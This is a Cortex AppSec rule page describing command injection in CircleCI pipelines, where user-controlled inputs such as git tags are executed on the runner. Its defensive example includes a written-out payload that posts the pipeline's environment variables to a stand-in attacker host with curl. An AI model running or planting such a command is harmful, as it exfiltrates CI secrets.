CirceCI pipeline vulnerable to command injection

Rule Details

Cortex AppSec Rule ID	APPSEC_CICD_207
Category	Input Validation
Severity	CRITICAL

Impact

Pipelines are vulnerable to command injection attacks, in which arbitrary commands and scripts are passed through user controlled inputs such as pull request title, commit description etc., and are then referenced by the pipeline configuration file and executed in the pipeline job. When the pipeline job runs, the poisoned controlled inputs can be interpreted as code and executed on the runner, enabling remote code execution attacks to take place. This will allow the attacker to access stored secrets or to read or modify the source code. For example, the following code snippet is designed to print the associated git tag: steps: - run: echo > Attackers can inject their own commands by creating the git tag value: curl -X POST -d $(env) https://attacker.com/exfiltrate After the pipeline is triggered, this string will be evaluated and executed in the context of the pipeline. As a result, the environment variables are sent to the attackers server.